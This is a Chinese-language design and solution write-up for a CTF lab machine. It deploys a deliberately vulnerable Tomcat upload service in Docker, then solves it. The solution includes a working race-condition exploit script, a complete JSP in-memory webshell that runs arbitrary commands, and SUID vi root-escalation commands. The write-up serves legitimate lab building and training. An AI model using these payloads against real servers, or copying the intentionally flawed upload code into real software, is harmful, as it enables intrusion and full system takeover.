MazeSec cat靶机设计流程

发布于: 2026-09-27 12:18

靶机灵感:​ 不出网环境下的内存马实战。入口为 nginx 反代容器 Tomcat 的文件上传服务,容器内隔离、不可外联。上传 JSP 后服务端立即删除,选手需通过条件竞争在删除窗口内触发 JSP 执行,注入内存马获取稳定控制。容器内藏有宿主机 SSH 私钥,选手取回后登录靶机,在多个 SUID 文件中识别真正的提权点(SUID vi)完成 root。

设计考量:​ 靶机基于 Alpine Linux 部署,通过 Docker 运行低权限(uid 10001)Tomcat 9 文件上传服务,容器接入 internal 网络禁止外联,由宿主机 nginx 反代暴露入口,从网络层面堵死反弹 shell 路径,强制选手通过条件竞争在 JSP 写入后被删除的短暂窗口内触发执行,注入内存马获取稳定控制。容器整体只读,仅 uploads/ 目录可写,配置禁止 WAR 热部署绕过和已删 JSP 缓存复用,确保攻击面收敛于单一竞争窗口。内存马执行命令读取容器内预置的 SSH 私钥后,选手从攻击机直接登录宿主机,面对多个 SUID busybox applet 烟雾弹,需识别真正的提权点——具备 SUID 属性的独立二进制 vi,通过写入 sudoers 或启动 root shell 完成提权。宿主机通过 docker compose 配置开机自启,保证靶机环境持久可用。

设置主机名

# 设置主机名
hostname cat
echo "cat" > /etc/hostname

# 确认 /etc/hosts 包含
# 127.0.0.1   localhost cat

安装基础环境

apk add docker python3 docker-compose

启动 Docker 并设置自启

rc-update add docker default
service docker start

docker 加速

mkdir -p /etc/docker
cat > /etc/docker/daemon.json <<'EOF'
{
  "registry-mirrors": [
    "https://docker.1ms.run",
    "https://docker.m.daocloud.io",
    "https://docker.1panel.live"
  ]
}
EOF

重启docker

rc-service docker restart

tomcat部署思路(仅讨论)

tomcat 目录结构如下

/usr/local/tomcat/
├── bin/           启动脚本
├── conf/          核心配置(重点)
│   ├── server.xml
│   ├── web.xml
│   └── Catalina/
│       └── localhost/
├── lib/           servlet / tomcat 核心 jar
├── webapps/
│   └── ROOT/      默认应用
├── work/          JSP 编译目录
├── temp/
└── logs/

其中,部分可以解析jsp的目录如下表所示:

位置 能否解析 是否需重启 备注
$CATALINA_BASE/webapps/<app>/**/*.jsp、.jspx、.jspf 是 否 主战场
$CATALINA_BASE/webapps/<name>.war 是 否 autoDeploy=true 时 HostConfig 后台扫描部署,解压出目录后 JSP 就能跑
$CATALINA_BASE/webapps/<任意新目录>/ 是 否 新建目录即新 Context
work/** 否 — 只有编译产物,JSP 源缺失即失效,不是攻击面

让整个容器只读,只留一个可写目录,避免选手到别处写。

# docker-compose.yml
services:
  tomcat:
    image: ctf-tomcat:9
    user: "10001:10001"
    read_only: true
    cap_drop: [ALL]
    security_opt: ["no-new-privileges:true"]
    tmpfs:
      - /tmp:size=64m
      - /usr/local/tomcat/work:size=128m,uid=10001,gid=10001
      - /usr/local/tomcat/temp:size=64m,uid=10001,gid=10001
      - /usr/local/tomcat/logs:size=64m,uid=10001,gid=10001
    volumes:
      - ./uploads:/usr/local/tomcat/webapps/ROOT/uploads:rw
    ports:
      - "127.0.0.1:8080:8080"
    networks: [ctf-internal]
    restart: unless-stopped
    deploy:
      resources:
        limits: { memory: 768M }

networks:
  ctf-internal:
    internal: true

关掉 WAR 热部署

<Host name="localhost" appBase="webapps"
      autoDeploy="false" deployOnStartup="true"
      unpackWARs="false" deployXML="false">

显式定义 Context,且 reloadable=false

<!-- conf/Catalina/localhost/ROOT.xml -->
<Context docBase="/usr/local/tomcat/webapps/ROOT" reloadable="false"
         allowLinking="false" privileged="false" antiResourceLocking="false"/>

清洗脚本只盯 ./uploads 这一个目录

#!/usr/bin/env python3
# /opt/cat/cleaner.py
import os, time, shutil, logging

WATCH = "/opt/cat/uploads"
TTL   = 1.5
SWEEP = 0.25

# Tomcat 可解析的类型
TARGETS = ('.jsp', '.jspx', '.jspf', '.war')

logging.basicConfig(
    filename="/var/log/ctf-cleaner.log",
    level=logging.INFO,
    format="%(asctime)s %(message)s"
)

while True:
    now = time.time()
    for root, dirs, files in os.walk(WATCH, topdown=False):
        for name in files + dirs:
            p = os.path.join(root, name)

            # 目录:递归进去,不删目录本身(除非空)
            if os.path.isdir(p) and not os.path.islink(p):
                continue

            # 只处理可解析类型
            if not name.lower().endswith(TARGETS):
                continue

            try:
                st = os.lstat(p)
                age = now - max(st.st_ctime, st.st_mtime)
                if age >= TTL:
                    os.unlink(p)
                    logging.info("PURGE %s (age=%.2fs)", p, age)
            except FileNotFoundError:
                pass
    time.sleep(SWEEP)

另外,Tomcat 9 用 javax.servlet.,Tomcat 10+ 用 jakarta.servlet.

最终靶机结构

/opt/cat/
├── docker-compose.yml
├── Dockerfile
├── id_ed25519              ← SSH 私钥(构建时 COPY 进容器)
├── id_ed25519.pub
├── cleaner.py
├── conf/
│   ├── server.xml
│   ├── web.xml
│   └── Catalina/
│       └── localhost/
│           └── ROOT.xml
├── uploads/                ← 唯一可写 web 目录
└── webapps/
    └── ROOT/
        └── index.jsp       ← 文件上传入口

tomcat部署

以下操作在/opt/cat目录下创建

/opt/cat/Dockerfile

FROM tomcat:9.0-jdk8-temurin

RUN groupadd -g 10001 tomcat \
 && useradd -u 10001 -g 10001 -M -s /sbin/nologin tomcat

COPY conf/server.xml /usr/local/tomcat/conf/server.xml
COPY conf/web.xml /usr/local/tomcat/conf/web.xml
COPY conf/Catalina/localhost/ROOT.xml /usr/local/tomcat/conf/Catalina/localhost/ROOT.xml
COPY webapps/ROOT/index.jsp /usr/local/tomcat/webapps/ROOT/index.jsp

RUN mkdir -p /usr/local/tomcat/webapps/ROOT/uploads

COPY id_ed25519 /opt/ops/id_ed25519
RUN chmod 0400 /opt/ops/id_ed25519 \
 && chown 10001:10001 /opt/ops/id_ed25519

RUN chown -R root:tomcat /usr/local/tomcat \
 && chmod -R g+rX /usr/local/tomcat

USER 10001:10001

EXPOSE 8080

ENV JAVA_OPTS="-Xms128m -Xmx384m -XX:+UseG1GC"
CMD ["catalina.sh", "run"]

/opt/cat/conf/server.xml

<?xml version="1.0" encoding="UTF-8"?>
<Server port="8005" shutdown="SHUTDOWN">

  <Listener className="org.apache.catalina.startup.VersionLoggerListener" />
  <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
  <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />
  <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
  <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />

  <GlobalNamingResources>
    <Resource name="UserDatabase" auth="Container"
              type="org.apache.catalina.UserDatabase"
              description="User database"
              factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
              pathname="conf/tomcat-users.xml" />
  </GlobalNamingResources>

  <Service name="Catalina">
    <Connector port="8080"
               address="0.0.0.0"
               protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />

    <Engine name="Catalina" defaultHost="localhost">
      <Realm className="org.apache.catalina.realm.LockOutRealm">
        <Realm className="org.apache.catalina.realm.UserDatabaseRealm"
               resourceName="UserDatabase"/>
      </Realm>

      <Host name="localhost"
            appBase=""
            unpackWARs="false"
            autoDeploy="false"
            deployOnStartup="true"
            deployXML="false">
      </Host>
    </Engine>
  </Service>
</Server>

/opt/cat/conf/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <!-- DefaultServlet:处理静态资源 -->
    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>true</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- JspServlet:关键配置 -->
    <servlet>
        <servlet-name>jsp</servlet-name>
        <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
        <!-- 每次请求都检查文件是否过期(源文件删了立即失效) -->
        <init-param>
            <param-name>modificationTestInterval</param-name>
            <param-value>0</param-value>
        </init-param>
        <!-- 开发模式:不缓存编译结果 -->
        <init-param>
            <param-name>development</param-name>
            <param-value>true</param-value>
        </init-param>
        <load-on-startup>3</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

    <session-config>
        <session-timeout>30</session-timeout>
    </session-config>

    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>
</web-app>

/opt/cat/conf/Catalina/localhost/ROOT.xml

<Context
    docBase="/usr/local/tomcat/webapps/ROOT"
    reloadable="false"
    antiResourceLocking="false"
    allowLinking="false"
    privileged="false" />

/opt/cat/docker-compose.yml

services:
  tomcat:
    image: ctf-tomcat:9
    user: "10001:10001"
    read_only: true
    cap_drop: [ALL]
    security_opt: ["no-new-privileges:true"]
    tmpfs:
      - /tmp:size=64m
      - /usr/local/tomcat/work:size=128m,uid=10001,gid=10001
      - /usr/local/tomcat/temp:size=64m,uid=10001,gid=10001
      - /usr/local/tomcat/logs:size=64m,uid=10001,gid=10001
    volumes:
      - ./uploads:/usr/local/tomcat/webapps/ROOT/uploads:rw
    networks:
      ctf-internal:
        ipv4_address: 172.28.0.111
    restart: unless-stopped
    deploy:
      resources:
        limits: { memory: 768M }

networks:
  ctf-internal:
    internal: true
    ipam:
      config:
        - subnet: 172.28.0.0/24

文件上传服务入口

/opt/cat/webapps/ROOT/index.jsp

<%@ page import="java.io.*" pageEncoding="UTF-8" contentType="text/html;charset=UTF-8" %>
<%@ page session="false" %>
<%
if ("POST".equalsIgnoreCase(request.getMethod())) {
    response.setContentType("text/plain;charset=UTF-8");

    String name = request.getHeader("X-File-Name");
    if (name == null || name.isEmpty()) {
        response.setStatus(400);
        response.getWriter().write("Missing X-File-Name");
        return;
    }
    name = java.net.URLDecoder.decode(name, "UTF-8");
    name = new File(name).getName();
    if (name.contains("..") || name.contains("/") || name.contains("\\")) {
        response.setStatus(400);
        response.getWriter().write("Invalid filename");
        return;
    }

    File dir = new File(application.getRealPath("/uploads"));
    if (!dir.exists()) dir.mkdirs();
    File target = new File(dir, name);

    boolean writeCompleted = false;
    try (InputStream is = request.getInputStream();
         FileOutputStream fos = new FileOutputStream(target)) {
        byte[] buf = new byte[8192];
        int len;
        while ((len = is.read(buf)) > 0) fos.write(buf, 0, len);
        writeCompleted = true;
    } catch (Exception e) {
        // 写入失败也往下走,统一处理删除
    }

    String lower = name.toLowerCase();
    boolean isDangerous =
        lower.endsWith(".jsp") ||
        lower.endsWith(".jspx") ||
        lower.endsWith(".jspf");

    if (isDangerous) {
        try { Thread.sleep(30); } catch (InterruptedException ignored) {}
        target.delete();
        response.setStatus(200);
        response.getWriter().write("OK:/uploads/" + name + " (security scan: removed)");
    } else {
        response.setStatus(200);
        response.getWriter().write("OK:/uploads/" + name + " (security scan: passed)");
    }
    return;
}
%>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>文件上传</title>
<style>
:root{
  --bg:#FAFAF9;--surface:#FFFFFF;--fg:#18181B;--muted:#5F6169;
  --dim:#8E9099;--line:rgba(0,0,0,.08);--line-strong:rgba(0,0,0,.16);
  --ok:#15803D;--err:#B91C1C;
  --ease:cubic-bezier(.16,1,.3,1);
  --mono:'SF Mono','JetBrains Mono','Fira Code',ui-monospace,Menlo,Consolas,monospace;
}
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
html{-webkit-text-size-adjust:100%}
body{
  font-family:Inter,-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,
              'PingFang SC','Hiragino Sans GB','Microsoft YaHei',sans-serif;
  background:var(--bg);color:var(--fg);min-height:100vh;
  display:flex;align-items:center;justify-content:center;
  padding:24px; -webkit-font-smoothing:antialiased;
}
.panel{
  width:100%;max-width:600px;background:var(--surface);
  border:1px solid var(--line);border-radius:16px;
  padding:36px;box-shadow:0 1px 2px rgba(0,0,0,.03),0 16px 40px -24px rgba(0,0,0,.1);
}
h1{font-size:32px;font-weight:600;letter-spacing:-.032em;line-height:1.2;margin-bottom:12px}
.lede{font-size:17px;line-height:1.6;color:var(--muted);margin-bottom:24px}
.spec{border-top:1px solid var(--line);margin-bottom:20px}
.spec-row{display:flex;align-items:baseline;justify-content:space-between;gap:16px;padding:11px 0;border-bottom:1px solid var(--line)}
.spec-row dt{font-size:15px;color:var(--muted)}
.spec-row dd{font-family:var(--mono);font-size:14px;color:#3F3F46;white-space:nowrap}
.drop{
  display:flex;flex-direction:column;align-items:center;justify-content:center;gap:10px;
  min-height:156px;padding:28px 24px;border:1px dashed var(--line-strong);
  border-radius:12px;background:#FCFCFB;cursor:pointer;text-align:center;
  transition:border-color .25s var(--ease),background .25s var(--ease);
}
.drop:hover{border-color:rgba(0,0,0,.24);background:#F7F7F6}
.drop.over{border-style:solid;border-color:var(--fg);background:#F4F4F3}
.drop input{display:none}
.drop svg{width:24px;height:24px;color:var(--dim);margin-bottom:2px;transition:color .25s var(--ease),transform .25s var(--ease)}
.drop:hover svg{color:var(--muted)}
.drop.over svg{color:var(--fg);transform:translateY(-2px)}
.drop-title{font-size:16px;font-weight:500;color:#3F3F46}
.drop-hint{font-size:14px;color:var(--dim)}
.picked{margin-top:4px;padding:5px 11px;max-width:100%;word-break:break-all;font-family:var(--mono);font-size:13.5px;color:var(--fg);background:#F4F4F3;border:1px solid var(--line);border-radius:7px}
.picked:empty{display:none}
button{width:100%;margin-top:12px;padding:14px 20px;background:#18181B;color:#FAFAF9;border:none;border-radius:10px;font-size:16px;font-weight:600;cursor:pointer;transition:background .2s var(--ease),transform .12s var(--ease)}
button:hover:not(:disabled){background:#27272A}
button:active:not(:disabled){transform:translateY(1px)}
button:disabled{opacity:.28;cursor:not-allowed}
.status{margin-top:12px;min-height:20px;font-family:var(--mono);font-size:13.5px;text-align:center;color:var(--dim)}
.status.ok{color:var(--ok)}.status.err{color:var(--err)}
@media(max-width:660px){body{padding:16px}.panel{padding:28px 22px}h1{font-size:26px}}
</style>
</head>
<body>
<div class="panel">
  <h1>文件上传</h1>
  <p class="lede">将文件拖放到下方区域,或点击选择文件后上传。系统会在写入后立即进行安全校验并清理恶意文件。</p>
  <dl class="spec">
    <div class="spec-row"><dt>运行时</dt><dd>OpenJDK 1.8</dd></div>
    <div class="spec-row"><dt>服务端</dt><dd>Apache Tomcat 9.0</dd></div>
    <div class="spec-row"><dt>反向代理</dt><dd>nginx 1.30.4</dd></div>
    <div class="spec-row"><dt>网络</dt><dd>隔离环境</dd></div>
    <!-- 已启用文件系统防护,时刻查杀木马文件,守护主机安全。 -->
    <!-- 文件层防护已就位,运行时防护待补充。 -->
  </dl>
  <form id="f">
    <label class="drop" id="drop">
      <input type="file" id="file" required>
      <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round">
        <path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="17 8 12 3 7 8"/><line x1="12" y1="3" x2="12" y2="15"/>
      </svg>
      <span class="drop-title">拖放文件到此处,或点击选择</span>
      <span class="drop-hint">支持任意文件类型</span>
      <span class="picked" id="fname"></span>
    </label>
    <button type="submit" id="btn">上传</button>
  </form>
  <div class="status" id="status"></div>
</div>
<script>
const drop=document.getElementById('drop'),file=document.getElementById('file'),
      fname=document.getElementById('fname'),btn=document.getElementById('btn'),
      status=document.getElementById('status'),form=document.getElementById('f');
file.addEventListener('change',()=>{fname.textContent=file.files[0]?file.files[0].name:''});
['dragenter','dragover'].forEach(e=>drop.addEventListener(e,ev=>{ev.preventDefault();drop.classList.add('over')}));
['dragleave','drop'].forEach(e=>drop.addEventListener(e,ev=>{ev.preventDefault();drop.classList.remove('over')}));
drop.addEventListener('drop',ev=>{if(ev.dataTransfer.files.length){file.files=ev.dataTransfer.files;fname.textContent=file.files[0].name}});
form.addEventListener('submit',async e=>{
  e.preventDefault();
  if(!file.files.length){status.className='status err';status.textContent='请先选择文件';return}
  btn.disabled=true;status.className='status';status.textContent='上传中...';
  try{
    const r=await fetch('/',{method:'POST',headers:{'X-File-Name':encodeURIComponent(file.files[0].name)},body:file.files[0]});
    if(r.ok){status.className='status ok';status.textContent=await r.text()}
    else{status.className='status err';status.textContent='上传失败:HTTP '+r.status}
  }catch(err){status.className='status err';status.textContent='错误:'+err.message}
  btn.disabled=false;
});
</script>
</body>
</html>

靶机凭证准备

# 生成 SSH 密钥对
ssh-keygen -t ed25519 -f ./id_ed25519 -N "" -C "daochunhan@cat"

# 创建普通用户 daochunhan
useradd -m -s /bin/bash daochunhan

# 配置公钥登录
mkdir -p /home/daochunhan/.ssh
cp /opt/cat/id_ed25519.pub /home/daochunhan/.ssh/authorized_keys
chown -R daochunhan:daochunhan /home/daochunhan/.ssh
chmod 700 /home/daochunhan/.ssh
chmod 600 /home/daochunhan/.ssh/authorized_keys

# 验证
ls -la /home/daochunhan/.ssh/authorized_keys
# -rw------- 1 daochunhan daochunhan  <日期> authorized_keys

编译镜像

# 1. 停掉并删除容器(如果有)
docker stop cat-tomcat-1
docker rm cat-tomcat-1

# 2. 删除旧镜像
docker rmi ctf-tomcat:9

# 3. 重新编译(在 /opt/cat 目录下)
cd /opt/cat
docker build -t ctf-tomcat:9 .

nginx反代

关掉nginx原来配置的php-fpm,节省内存。

# 停止
rc-service php-fpm85 stop
# 关闭开机自启
rc-update del php-fpm85 default

配置nginx反代

cat > /etc/nginx/http.d/default.conf << 'EOF'
upstream ctf_tomcat {
    server 172.28.0.111:8080;
    keepalive 16;
}

server {
    listen 80 default_server;
    client_max_body_size 32m;

    location / {
        proxy_pass http://ctf_tomcat;
        proxy_http_version 1.1;
        proxy_set_header Host              $host;
        proxy_set_header X-Real-IP         $remote_addr;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        proxy_buffering         off;
        proxy_request_buffering off;
        proxy_connect_timeout   5s;
        proxy_read_timeout      30s;
    }
}
EOF

docker compose 启动

配置 docker-compose 自启

/etc/init.d/maze-cat 启动脚本

#!/sbin/openrc-run
description="MazeSec tomcat + cleaner"
depend() {
    need docker
    after docker nginx
    use nginx
}

CLEANER_PID="/var/run/ctf-cleaner.pid"

start() {
    ebegin "Starting MazeSec tomcat"

    cd /opt/cat || eend 1 "cannot cd /opt/cat"

    # 1. 启动 cleaner(宿主机 Python)
    if [ -f "$CLEANER_PID" ] && kill -0 "$(cat $CLEANER_PID)" 2>/dev/null; then
        ewarn "cleaner already running (pid $(cat $CLEANER_PID))"
    else
        nohup python3 /opt/cat/cleaner.py >/dev/null 2>&1 &
        echo $! > "$CLEANER_PID"
        ewarn "cleaner started (pid $!)"
    fi

    # 2. 启动容器
    /usr/bin/docker compose up -d
    if [ $? -ne 0 ]; then
        eend 1 "docker compose up failed"
        return 1
    fi

    # 3. 等待 Tomcat 监听(最多 30 秒)
    local i=0
    while [ $i -lt 30 ]; do
        if curl -s -o /dev/null -m 1 http://172.28.0.111:8080/; then
            break
        fi
        sleep 1
        i=$((i + 1))
    done
    if [ $i -eq 30 ]; then
        ewend 1 "Tomcat did not respond in 30s"
    fi

    # 4. 确保 nginx 运行
    if ! rc-service nginx status >/dev/null 2>&1; then
        rc-service nginx start
    fi
    nginx -t && nginx -s reload

    eend 0
}

stop() {
    ebegin "Stopping MazeSec tomcat"

    # 1. 停 cleaner
    if [ -f "$CLEANER_PID" ]; then
        local pid=$(cat "$CLEANER_PID")
        if kill -0 "$pid" 2>/dev/null; then
            kill "$pid"
            ewarn "cleaner stopped (pid $pid)"
        fi
        rm -f "$CLEANER_PID"
    fi

    # 2. 停容器
    cd /opt/cat && /usr/bin/docker compose down

    eend 0
}
chmod +x /etc/init.d/maze-cat
rc-update add maze-cat default

python版清洗器,每秒清洗uploads目录下的jsp文件,避免选手稳定控制,迫使通过条件竞争利用内存马获取稳定shell。

#!/usr/bin/env python3
# cleaner.py - 兜底清洗 uploads 目录中的危险文件
import os, time

UPLOAD_DIR = "/opt/cat/uploads"
SCAN_INTERVAL = 1  # 秒

DANGEROUS_EXT = ('.jsp', '.jspx', '.jspf')

def clean():
    try:
        for f in os.listdir(UPLOAD_DIR):
            path = os.path.join(UPLOAD_DIR, f)
            if not os.path.isfile(path):
                continue
            if any(f.lower().endswith(ext) for ext in DANGEROUS_EXT):
                try:
                    os.remove(path)
                    print(f"[cleaner] removed {path}")
                except FileNotFoundError:
                    pass
                except Exception:
                    pass
    except Exception:
        pass

if __name__ == "__main__":
    print(f"[cleaner] watching {UPLOAD_DIR} every {SCAN_INTERVAL}s")
    while True:
        clean()
        time.sleep(SCAN_INTERVAL)

vim提权

准备了7个busybox的applet,授权了suid属性,作为烟雾弹,另外混入真实的单独二进制文件vim,授权了suid属性,作为提权工具。

root@Maze:/var/tmp# ls -alh
total 10M
drwxrwxrwt    2 root     root        4.0K Sep 27 13:24 .
drwxr-xr-x   13 root     root        4.0K Jul 27 23:35 ..
-rwsr-xr-x    1 root     root      785.8K Sep 27 13:12 cat
-rwsr-xr-x    1 root     root      785.8K Sep 27 13:12 chmod
-rwsr-xr-x    1 root     root      785.8K Sep 27 13:12 chown
-rwsr-xr-x    1 root     root      785.8K Sep 27 13:12 grep
-rwsr-xr-x    1 root     root      785.8K Sep 27 13:12 ln
-rwsr-xr-x    1 root     root      785.8K Sep 27 13:12 mv
-rwsr-xr-x    1 root     root      785.8K Sep 27 13:12 sh
-rwsr-xr-x    1 root     root      785.8K Sep 27 13:12 tac
-rwsr-sr-x    1 root     root      785.8K Sep 27 13:17 vi

真实提权

root@cat:/opt/cat# ls -alh /usr/bin/vi*
lrwxrwxrwx    1 root     root          12 Jul 27 23:25 /usr/bin/vi -> /bin/busybox
-rwsr-sr-x    1 root     root        3.3M Sep 27 20:35 /usr/bin/vi 
lrwxrwxrwx    1 root     root           3 Jul 27 23:44 /usr/bin/view -> vim
-rwxr-xr-x    1 root     root        3.3M Jul 25 08:56 /usr/bin/vim

完整目录结构

/opt/cat/
├── docker-compose.yml
├── Dockerfile
├── id_ed25519              ← SSH 私钥(构建时 COPY 进容器)
├── id_ed25519.pub
├── cleaner.py
├── conf/
│   ├── server.xml
│   ├── web.xml
│   └── Catalina/
│       └── localhost/
│           └── ROOT.xml
├── uploads/                ← 唯一可写 web 目录
└── webapps/
    └── ROOT/
        └── index.jsp       ← 文件上传入口

用户密码修改

echo "root:mazesec2026" | chpasswd

放置flag

echo 'flag{root-26cfc55019b764229d2fe76c6300bdcf}' > /root/root.txt
echo 'flag{user-65b7e1c8e079c1e767f2a72db6e6d8bd}' > /home/daochunhan/user.txt
chown daochunhan:daochunhan /home/daochunhan/user.txt
chmod 600 /home/daochunhan/user.txt

压缩镜像

# 用零填充空闲空间,便于压缩
dd if=/dev/zero of=/zero bs=1M || true; rm -f /zero

测试阶段

条件竞争演示脚本

tomcat-memshell.sh,条件竞争验收脚本

#!/usr/bin/env python3
# race.py - 条件竞争触发 JSP 执行 → 注入内存马 → 验证 /memshell
# 用法: python3 race.py <url> <jsp_file> [并发数] [窗口ms]

import sys
import os
import time
import threading
import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# ---------- 参数 ----------
if len(sys.argv) < 3:
    print(f"用法: {sys.argv[0]} <url> <jsp_file> [并发数] [窗口ms]")
    sys.exit(1)

URL       = sys.argv[1].rstrip("/") + "/"
JSP       = sys.argv[2]
PAIRS     = int(sys.argv[3]) if len(sys.argv) > 3 else 50
WINDOW_MS = int(sys.argv[4]) if len(sys.argv) > 4 else 0   # 仅用于打印提示

if not os.path.isfile(JSP):
    print(f"[-] 文件不存在: {JSP}")
    sys.exit(1)

JSP_NAME = os.path.basename(JSP)
MEM_URL  = URL + "memshell"

with open(JSP, "rb") as f:
    JSP_DATA = f.read()

# ---------- 全局状态 ----------
hit_flag  = threading.Event()   # 命中标志
hit_info  = {}                  # 命中信息
lock      = threading.Lock()

# ---------- 上传线程 ----------
def uploader(name):
    """无限循环 POST 上传,直到命中"""
    headers = {
        "Content-Type": "application/octet-stream",
        "X-File-Name": name,
    }
    s = requests.Session()
    while not hit_flag.is_set():
        try:
            s.post(URL, data=JSP_DATA, headers=headers,
                   timeout=2, verify=False)
        except Exception:
            pass
        # 不加 sleep,让服务端 sleep 拖住节奏

# ---------- 读取线程 ----------
def getter(name):
    """无限循环 GET 上传文件,命中后验证 /memshell"""
    target = f"{URL}uploads/{name}"
    s = requests.Session()
    while not hit_flag.is_set():
        try:
            r = s.get(target, timeout=1, verify=False)
            if "Memory shell injected" in r.text:
                # 原子占位
                with lock:
                    if hit_flag.is_set():
                        return
                    hit_flag.set()

                # 等内存马注册稳定
                time.sleep(0.5)
                try:
                    v = requests.get(f"{MEM_URL}?cmd=id",
                                     timeout=3, verify=False)
                    verify_text = v.text.strip()
                except Exception as e:
                    verify_text = f"<验证失败: {e}>"

                hit_info["worker"]   = name
                hit_info["target"]   = target
                hit_info["response"] = r.text.strip()
                hit_info["verify"]   = verify_text

                print("[+] ========== HIT! ==========")
                print(f"[+] Worker:    {name}")
                print(f"[+] 触发 URL:  {target}")
                print(f"[+] Response:  {r.text.strip()}")
                print(f"[*] 验证 /memshell: {verify_text}")
                print("[+] ===========================")
                return
        except Exception:
            pass

# ---------- 启动所有线程 ----------
print(f"[*] URL:       {URL}")
print(f"[*] Payload:   {JSP_NAME}")
print(f"[*] 并发对:    {PAIRS}")
if WINDOW_MS:
    print(f"[*] 窗口:      {WINDOW_MS}ms")
print()

threads = []
for i in range(1, PAIRS + 1):
    name = f"r{i}_{JSP_NAME}"
    t_up = threading.Thread(target=uploader, args=(name,), daemon=True)
    t_ge = threading.Thread(target=getter,   args=(name,), daemon=True)
    t_up.start()
    t_ge.start()
    threads.append(t_up)
    threads.append(t_ge)

# ---------- 主线程等待命中,最多 15 秒 ----------
print("[*] 运行中,等待命中(最多 15 秒)...")
deadline = time.time() + 15
while time.time() < deadline:
    if hit_flag.is_set():
        time.sleep(1)   # 给验证线程留时间
        print("[+] 命中,退出。")
        sys.exit(0)
    time.sleep(0.1)

print("[-] 超时未命中")
sys.exit(1)

演示内存马

<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class ShellServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            String cmd = req.getParameter("cmd");

            // ===== 关键改动:无参数时默认执行 id =====
            if (cmd == null || cmd.trim().isEmpty()) {
                cmd = "id";
            }

            resp.setContentType("text/plain;charset=UTF-8");
            try {
                Process p = Runtime.getRuntime().exec(cmd);
                BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
                BufferedReader err = new BufferedReader(new InputStreamReader(p.getErrorStream()));
                String line;
                while ((line = br.readLine()) != null) {
                    resp.getWriter().println(line);
                }
                while ((line = err.readLine()) != null) {
                    resp.getWriter().println(line);
                }
                br.close();
                err.close();
                p.waitFor();
            } catch (Exception e) {
                resp.getWriter().write("Error: " + e.getMessage());
            }
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            doGet(req, resp);
        }
    }
%>
<%
    try {
        ServletContext servletContext = request.getServletContext();

        Field applicationContextField = servletContext.getClass().getDeclaredField("context");
        applicationContextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

        Field standardContextField = applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setName("memshell");
        wrapper.setServletClass(ShellServlet.class.getName());
        wrapper.setServlet(new ShellServlet());
        wrapper.setLoadOnStartup(1);

        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded("/memshell", "memshell");

        out.println("Memory shell injected: /memshell?cmd=");
    } catch (Exception e) {
        out.println("Failed: " + e.getMessage());
    }
%>

提权部分

核心思路:不经过busybox降权执行命令,或直接vi写文件

ls -alh /usr/bin/'vi '
# 验证vi执行命令经过busybox降权
/usr/bin/'vi ' -c ':!readlink /proc/$$/exe' -c ':q!'

# 方案一:指定shell解释器,保留特权
cat > /tmp/a << 'EOF'
#!/bin/bash -p
/bin/bash -p
EOF
chmod +x /tmp/a
# 获取到euid 0的shell
/usr/bin/'vi ' -c ':set shell=/tmp/a' -c ':!bash' -c ':q!'
# 验证id -> /bin/busybox经过降权
id
# 利用setpriv恢复完整权限shell
setpriv --reuid 0 --regid 0 --clear-groups /bin/bash

# 方案二:通过python不经过降权获取完整权限shell
/usr/bin/'vi ' -c ":py3 import os,pty; os.setuid(0);os.setgid(0);pty.spawn('/bin/bash')" -c ':q!'

参考: